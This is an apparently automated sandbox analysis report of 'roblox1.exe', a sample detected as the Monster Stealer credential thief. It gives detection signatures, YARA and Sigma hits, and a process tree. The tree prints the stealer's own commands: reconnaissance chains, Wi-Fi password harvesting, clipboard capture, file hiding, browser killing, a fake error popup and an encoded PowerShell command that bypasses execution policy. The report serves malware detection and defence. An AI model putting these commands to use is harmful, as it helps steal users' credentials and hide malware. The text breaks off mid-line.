Edit tour

Windows Analysis Report
roblox1.exe

Overview

General Information

Sample name:	roblox1.exe
Analysis ID:	1577530
MD5:	cd463d16cf57c3a9f5c9588a878a7213
SHA1:	ef22c2b11efc0bc6a739b82f9a26edaee9348b8f
SHA256:	49f4789274e5c0dcd4d2cc1b850761353bf8b72e819d12df5c376fd665da1283
Tags:	18521511316185215113209bulletproofexePythonStealeruser-abus3reports
Infos:

Detection

Python Stealer, Monster Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Capture Wi-Fi password

Yara detected Monster Stealer

AI detected suspicious sample

Bypasses PowerShell execution policy

Detected generic credential text file

Encrypted powershell cmdline option found

Found many strings related to Crypto-Wallets (likely being stolen)

Gathers network related connection and port information

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies the windows firewall

Overwrites the password of the administrator account

Performs a network lookup / discovery via ARP

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)

Queries sensitive service information (via WMI, Win32_StartupCommand, often done to detect sandboxes)

Sigma detected: MSHTA Suspicious Execution 01

Sigma detected: Rare Remote Thread Creation By Uncommon Source Image

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal WLAN passwords

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Uses attrib.exe to hide files

Uses ipconfig to lookup or modify the Windows network settings

Uses netsh to modify the Windows network and firewall settings

Uses netstat to query active network connections and open ports

Yara detected Generic Python Stealer

AV process strings found (often used to terminate AV products)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

PE file does not import any functions

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Queries time zone information

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for the Microsoft Outlook file path

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Console CodePage Lookup Via CHCP

Sigma detected: PowerShell Get-Clipboard Cmdlet Via CLI

Sigma detected: Suspicious Execution of Powershell with Base64

Sigma detected: Suspicious Group And Account Reconnaissance Activity Using Net.EXE

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

roblox1.exe (PID: 1364 cmdline: "C:\Users\user\Desktop\roblox1.exe" MD5: CD463D16CF57C3A9F5C9588A878A7213)

conhost.exe (PID: 5876 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

stub.exe (PID: 3428 cmdline: C:\Users\user\Desktop\roblox1.exe MD5: 6FE46FD6E5B143F5114E6616C59B703C)

cmd.exe (PID: 5384 cmdline: C:\Windows\system32\cmd.exe /c "ver" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

cmd.exe (PID: 5072 cmdline: C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

WMIC.exe (PID: 5168 cmdline: wmic csproduct get uuid MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 3908 cmdline: C:\Windows\system32\cmd.exe /c "tasklist" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

tasklist.exe (PID: 356 cmdline: tasklist MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 5040 cmdline: C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

attrib.exe (PID: 5452 cmdline: attrib +h +s "C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe" MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

cmd.exe (PID: 3488 cmdline: C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

mshta.exe (PID: 2752 cmdline: mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()" MD5: 0B4340ED812DC82CE636C00FA5C9BEF2)

cmd.exe (PID: 3260 cmdline: C:\Windows\system32\cmd.exe /c "taskkill /F /IM chrome.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 5396 cmdline: taskkill /F /IM chrome.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 768 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

tasklist.exe (PID: 5500 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 6488 cmdline: C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

powershell.exe (PID: 5960 cmdline: powershell.exe Get-Clipboard MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 900 cmdline: C:\Windows\system32\cmd.exe /c "chcp" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

chcp.com (PID: 880 cmdline: chcp MD5: 33395C4732A49065EA72590B14B64F32)

cmd.exe (PID: 2036 cmdline: C:\Windows\system32\cmd.exe /c "chcp" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

chcp.com (PID: 4584 cmdline: chcp MD5: 33395C4732A49065EA72590B14B64F32)

cmd.exe (PID: 5224 cmdline: C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

systeminfo.exe (PID: 6324 cmdline: systeminfo MD5: EE309A9C61511E907D87B10EF226FDCD)

WmiPrvSE.exe (PID: 7140 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

HOSTNAME.EXE (PID: 5836 cmdline: hostname MD5: 33AFAA43B84BDEAB12E02F9DBD2B2EE0)

WMIC.exe (PID: 4916 cmdline: wmic logicaldisk get caption,description,providername MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

net.exe (PID: 6120 cmdline: net user MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

net1.exe (PID: 6864 cmdline: C:\Windows\system32\net1 user MD5: 55693DF2BB3CBE2899DFDDF18B4EB8C9)

conhost.exe (PID: 6864 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

query.exe (PID: 2752 cmdline: query user MD5: 29043BC0B0F99EAFF36CAD35CBEE8D45)

quser.exe (PID: 356 cmdline: "C:\Windows\system32\quser.exe" MD5: 480868AEBA9C04CA04D641D5ED29937B)

net.exe (PID: 880 cmdline: net localgroup MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

net1.exe (PID: 5320 cmdline: C:\Windows\system32\net1 localgroup MD5: 55693DF2BB3CBE2899DFDDF18B4EB8C9)

net.exe (PID: 2788 cmdline: net localgroup administrators MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

net1.exe (PID: 1272 cmdline: C:\Windows\system32\net1 localgroup administrators MD5: 55693DF2BB3CBE2899DFDDF18B4EB8C9)

net.exe (PID: 768 cmdline: net user guest MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

net1.exe (PID: 3776 cmdline: C:\Windows\system32\net1 user guest MD5: 55693DF2BB3CBE2899DFDDF18B4EB8C9)

net.exe (PID: 6408 cmdline: net user administrator MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

net1.exe (PID: 1660 cmdline: C:\Windows\system32\net1 user administrator MD5: 55693DF2BB3CBE2899DFDDF18B4EB8C9)

WMIC.exe (PID: 7100 cmdline: wmic startup get caption,command MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

tasklist.exe (PID: 5712 cmdline: tasklist /svc MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

ipconfig.exe (PID: 5896 cmdline: ipconfig /all MD5: 62F170FB07FDBB79CEB7147101406EB8)

ROUTE.EXE (PID: 5996 cmdline: route print MD5: 3C97E63423E527BA8381E81CBA00B8CD)

ARP.EXE (PID: 5976 cmdline: arp -a MD5: 2AF1B2C042B83437A4BE82B19749FA98)

NETSTAT.EXE (PID: 3500 cmdline: netstat -ano MD5: 7FDDD6681EA81CE26E64452336F479E6)

sc.exe (PID: 7116 cmdline: sc query type= service state= all MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

netsh.exe (PID: 4648 cmdline: netsh firewall show state MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

netsh.exe (PID: 900 cmdline: netsh firewall show config MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

cmd.exe (PID: 6168 cmdline: C:\Windows\system32\cmd.exe /c "netsh wlan show profiles" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

netsh.exe (PID: 1660 cmdline: netsh wlan show profiles MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

cmd.exe (PID: 4784 cmdline: C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

WMIC.exe (PID: 4352 cmdline: wmic csproduct get uuid MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 2660 cmdline: C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand WwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAVwBpAHQAaABQAGEAcgB0AGkAYQBsAE4AYQBtAGUAKAAiAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAiACkADQAKAGYAdQBuAGMAdABpAG8AbgAgAHMAYwByAGUAZQBuAHMAaABvAHQAKABbAEQAcgBhAHcAaQBuAGcALgBSAGUAYwB0AGEAbgBnAGwAZQBdACQAYgBvAHUAbgBkAHMALAAgACQAcABhAHQAaAApACAAewANAAoAIAAgACAAJABiAG0AcAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAARAByAGEAdwBpAG4AZwAuAEIAaQB0AG0AYQBwACAAJABiAG8AdQBuAGQAcwAuAHcAaQBkAHQAaAAsACAAJABiAG8AdQBuAGQAcwAuAGgAZQBpAGcAaAB0AA0ACgAgACAAIAAkAGcAcgBhAHAAaABpAGMAcwAgAD0AIABbAEQAcgBhAHcAaQBuAGcALgBHAHIAYQBwAGgAaQBjAHMAXQA6ADoARgByAG8AbQBJAG0AYQBnAGUAKAAkAGIAbQBwACkADQAKAA0ACgAgACAAIAAkAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoACQAYgBvAHUAbgBkAHMALgBMAG8AYwBhAHQAaQBvAG4ALAAgAFsARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdABdADoAOgBFAG0AcAB0AHkALAAgACQAYgBvAHUAbgBkAHMALgBzAGkAegBlACkADQAKAA0ACgAgACAAIAAkAGIAbQBwAC4AUwBhAHYAZQAoACQAcABhAHQAaAApAA0ACgANAAoAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAIAAgACAAJABiAG0AcAAuAEQAaQBzAHAAbwBzAGUAKAApAA0ACgB9AA0ACgANAAoAJABiAG8AdQBuAGQAcwAgAD0AIABbAEQAcgBhAHcAaQBuAGcALgBSAGUAYwB0AGEAbgBnAGwAZQBdADoAOgBGAHIAbwBtAEwAVABSAEIAKAAwACwAIAAwACwAIAAxADkAMgAwACwAIAAxADAAOAAwACkADQAKACQAcABhAHQAaAAgAD0AIAAoAEcAZQB0AC0ASQB0AGUAbQAgAC4AKQAuAEYAdQBsAGwATgBhAG0AZQArACIAXABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AcABuAGcAIgANAAoAcwBjAHIAZQBlAG4AcwBoAG8AdAAgACQAYgBvAHUAbgBkAHMAIAAkAHAAYQB0AGgA" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

powershell.exe (PID: 4424 cmdline: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand WwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAVwBpAHQAaABQAGEAcgB0AGkAYQBsAE4AYQBtAGUAKAAiAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAiACkADQAKAGYAdQBuAGMAdABpAG8AbgAgAHMAYwByAGUAZQBuAHMAaABvAHQAKABbAEQAcgBhAHcAaQBuAGcALgBSAGUAYwB0AGEAbgBnAGwAZQBdACQAYgBvAHUAbgBkAHMALAAgACQAcABhAHQAaAApACAAewANAAoAIAAgACAAJABiAG0AcAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAARAByAGEAdwBpAG4AZwAuAEIAaQB0AG0AYQBwACAAJABiAG8AdQBuAGQAcwAuAHcAaQBkAHQAaAAsACAAJABiAG8AdQBuAGQAcwAuAGgAZQBpAGcAaAB0AA0ACgAgACAAIAAkAGcAcgBhAHAAaABpAGMAcwAgAD0AIABbAEQAcgBhAHcAaQBuAGcALgBHAHIAYQBwAGgAaQBjAHMAXQA6ADoARgByAG8AbQBJAG0AYQBnAGUAKAAkAGIAbQBwACkADQAKAA0ACgAgACAAIAAkAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoACQAYgBvAHUAbgBkAHMALgBMAG8AYwBhAHQAaQBvAG4ALAAgAFsARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdABdADoAOgBFAG0AcAB0AHkALAAgACQAYgBvAHUAbgBkAHMALgBzAGkAegBlACkADQAKAA0ACgAgACAAIAAkAGIAbQBwAC4AUwBhAHYAZQAoACQAcABhAHQAaAApAA0ACgANAAoAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAIAAgACAAJABiAG0AcAAuAEQAaQBzAHAAbwBzAGUAKAApAA0ACgB9AA0ACgANAAoAJABiAG8AdQBuAGQAcwAgAD0AIABbAEQAcgBhAHcAaQBuAGcALgBSAGUAYwB0AGEAbgBnAGwAZQBdADoAOgBGAHIAbwBtAEwAVABSAEIAKAAwACwAIAAwACwAIAAxADkAMgAwACwAIAAxADAAOAAwACkADQAKACQAcABhAHQAaAAgAD0AIAAoAEcAZQB0AC0ASQB0AGUAbQAgAC4AKQAuAEYAdQBsAGwATgBhAG0AZQArACIAXABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AcABuAGcAIgANAAoAcwBjAHIAZQBlAG4AcwBoAG8AdAAgACQAYgBvAHUAbgBkAHMAIAAkAHAAYQB0AGgA MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 5844 cmdline: C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

WMIC.exe (PID: 3908 cmdline: wmic csproduct get uuid MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	JoeSecurity_GenericPythonStealer	Yara detected Generic Python Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	JoeSecurity_MonsterStealer	Yara detected Monster Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	JoeSecurity_GenericPythonStealer	Yara detected Generic Python Stealer	Joe Security
00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	JoeSecurity_MonsterStealer	Yara detected Monster Stealer	Joe Security
00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.1951447889.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	JoeSecurity_GenericPythonStealer	Yara detected Generic Python Stealer	Joe Security
00000003.00000002.1951447889.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	JoeSecurity_MonsterStealer	Yara detected Monster Stealer	Joe Security
00000003.00000002.1951447889.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GenericPythonStealer	Yara detected Generic Python Stealer	Joe Security
00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_MonsterStealer	Yara detected Monster Stealer	Joe Security
00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: roblox1.exe PID: 1364	JoeSecurity_GenericPythonStealer	Yara detected Generic Python Stealer	Joe Security
Process Memory Space: roblox1.exe PID: 1364	JoeSecurity_MonsterStealer	Yara detected Monster Stealer	Joe Security
Process Memory Space: roblox1.exe PID: 1364	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: stub.exe PID: 3428	JoeSecurity_GenericPythonStealer	Yara detected Generic Python Stealer	Joe Security
Process Memory Space: stub.exe PID: 3428	JoeSecurity_MonsterStealer	Yara detected Monster Stealer	Joe Security
Process Memory Space: stub.exe PID: 3428	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 11 entries

Sigma Signatures

System Summary

Sigma detected: MSHTA Suspicious Execution 01

Source: Process started

Author: Diego Perez (@darkquassar), Markus Neis, Swisscom (Improve Rule): Data: Command: mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()", CommandLine: mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()", CommandLine|base64offset|contains: m, Image: C:\Windows\System32\mshta.exe, NewProcessName: C:\Windows\System32\mshta.exe, OriginalFileName: C:\Windows\System32\mshta.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()"", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3488, ParentProcessName: cmd.exe, ProcessCommandLine: mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()", ProcessId: 2752, ProcessName: mshta.exe

Sigma detected: Rare Remote Thread Creation By Uncommon Source Image

Source: Threat created

Author: Perez Diego (@darkquassar), oscd.community: Data: EventID: 8, SourceImage: C:\Windows\System32\wbem\WMIC.exe, SourceProcessId: 3908, StartAddress: CAE632B0, TargetImage: C:\Windows\System32\cmd.exe, TargetProcessId: 3908

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand WwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAVwBpAHQAaABQAGEAcgB0AGkAYQBsAE4AYQBtAGUAKAAiAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAiACkADQAKAGYAdQBuAGMAdABpAG8AbgAgAHMAYwByAGUAZQBuAHMAaABvAHQAKABbAEQAcgBhAHcAaQBuAGcALgBSAGUAYwB0AGEAbgBnAGwAZQBdACQAYgBvAHUAbgBkAHMALAAgACQAcABhAHQAaAApACAAewANAAoAIAAgACAAJABiAG0AcAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAARAByAGEAdwBpAG4AZwAuAEIAaQB0AG0AYQBwACAAJABiAG8AdQBuAGQAcwAuAHcAaQBkAHQAaAAsACAAJABiAG8AdQBuAGQAcwAuAGgAZQBpAGcAaAB0AA0ACgAgACAAIAAkAGcAcgBhAHAAaABpAGMAcwAgAD0AIABbAEQAcgBhAHcAaQBuAGcALgBHAHIAYQBwAGgAaQBjAHMAXQA6ADoARgByAG8AbQBJAG0AYQBnAGUAKAAkAGIAbQBwACkADQAKAA0ACgAgACAAIAAkAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoACQAYgBvAHUAbgBkAHMALgBMAG8AYwBhAHQAaQBvAG4ALAAgAFsARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdABdADoAOgBFAG0AcAB0AHkALAAgACQAYgBvAHUAbgBkAHMALgBzAGkAegBlACkADQAKAA0ACgAgACAAIAAkAGIAbQBwAC4AUwBhAHYAZQAoACQAcABhAHQAaAApAA0ACgANAAoAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAIAAgACAAJABiAG0AcAAuAEQAaQBzAHAAbwBzAGUAKAApAA0ACgB9AA0ACgANAAoAJABiAG8AdQBuAGQAcwAgAD0AIABbAEQAcgBhAHcAaQBuAGcALgBSAGUAYwB0AGEAbgBnAGwAZQBdADoAOgBGAHIAbwBtAEwAVABSAEIAKAAwACwAIAAwACwAIAAxADkAMgAwACwAIAAxADAAOAAwACkADQAKACQAcABhAHQAaAAgAD0AIAAoAEcAZQB0AC0ASQB0AGUAbQAgAC4AKQAuAEYAdQBsAGwATgBhAG0AZQArACIAXABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AcABuAGcAIgANAAoAcwBjAHIAZQBlAG4AcwBoAG8AdAAgACQAYgBvAHUAbgBkAHMAIAAkAHAAYQB0AGgA, CommandLine: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand WwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAVwBpAHQAaABQAGEAcgB0AGkAYQBsAE4AYQBtAGUAKAAiAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAiACkADQAKAGYAdQBuAGMAdABpAG8AbgAgAHMAYwByAGUAZQBuAHMAaABvAHQAKABbAEQAcgBhAHcAaQBuAGcALgBSAGUAYwB0AGEAbgBnAGwAZQBdACQAYgBvAHUAbgBkAHMALAAgACQAcABhAHQAaAApACAAewANAAoAIAAgACAAJABiAG0AcAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAARAByAGEAdwBpAG4AZwAuAEIAaQB0AG0AYQBwACAAJABiAG8AdQBuAGQAcwAuAHcAaQBkAHQAaAAsACAAJABiAG8AdQBuAGQAcwAuAGgAZQBpAGcAaAB0AA0ACgAgACAAIAAkAGcAcgBhAHAAaABpAGMAcwAgAD0AIABbAEQAcgBhAHcAaQBuAGcALgBHAHIAYQBwAGgAaQBjAHMAXQA6ADoARgByAG8AbQBJAG0AYQBnAGUAKAAkAGIAbQBwACkADQAKAA0ACgAgACAAIAAkAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoACQAYgBvAHUAbgBkAHMALgBMAG8AYwBhAHQAaQBvAG4ALAAgAFsARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdABdADoAOgBFAG0AcAB0AHkALAAgACQAYgBvAHUAbgBkAHMALgBzAGkAegBlACkADQAKAA0ACgAgACAAIAAkAGIAbQBwAC4AUwBhAHYAZQAoACQAcABhAHQAaAApAA0ACgANAAoAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAIAAgACAAJABiAG0AcAAuAEQAaQBzAHAAbwBzAGUAKAApAA0ACgB9AA0ACgANAAoAJABiAG8AdQBuAGQAcwAgAD0AIABbAEQAcgBhAHcAaQBuAGcALgBSAGUAYwB0AGEAbgBnAGwAZQBdADoAOgBGAHIAbwBtAEwAVABSAEIAKAAwACwAIAAwACwAIAAxADkAMgAwACwAIAAxADAAOAAwACkADQAKACQAcABhAHQAaAAgAD0AIAAoAEcAZQB0AC0ASQB0AGUAbQAgAC4AKQAuAEYAdQBsAGwATgBhAG0AZQArACIAXABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AcABuAGcAIgANAAoAcwBjAHIAZQBlAG4AcwBoAG8AdAAgACQAYgBvAHUAbgBkAHMAIAAkAHAAYQB0AGgA, Comm

Sigma detected: Console CodePage Lookup Via CHCP

Source: Process started

Author: _pete_0, TheDFIRReport: Data: Command: chcp, CommandLine: chcp, CommandLine|base64offset|contains: r), Image: C:\Windows\System32\chcp.com, NewProcessName: C:\Windows\System32\chcp.com, OriginalFileName: C:\Windows\System32\chcp.com, ParentCommandLine: C:\Windows\system32\cmd.exe /c "chcp", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 900, ParentProcessName: cmd.exe, ProcessCommandLine: chcp, ProcessId: 880, ProcessName: chcp.com

Sigma detected: PowerShell Get-Clipboard Cmdlet Via CLI

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard", CommandLine: C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Users\user\Desktop\roblox1.exe, ParentImage: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe, ParentProcessId: 3428, ParentProcessName: stub.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard", ProcessId: 6488, ProcessName: cmd.exe

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Sigma detected: Suspicious Group And Account Reconnaissance Activity Using Net.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), omkar72, @svch0st, Nasreddine Bencherchali (Nextron Systems): Data: Command: net localgroup administrators, CommandLine: net localgroup administrators, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & 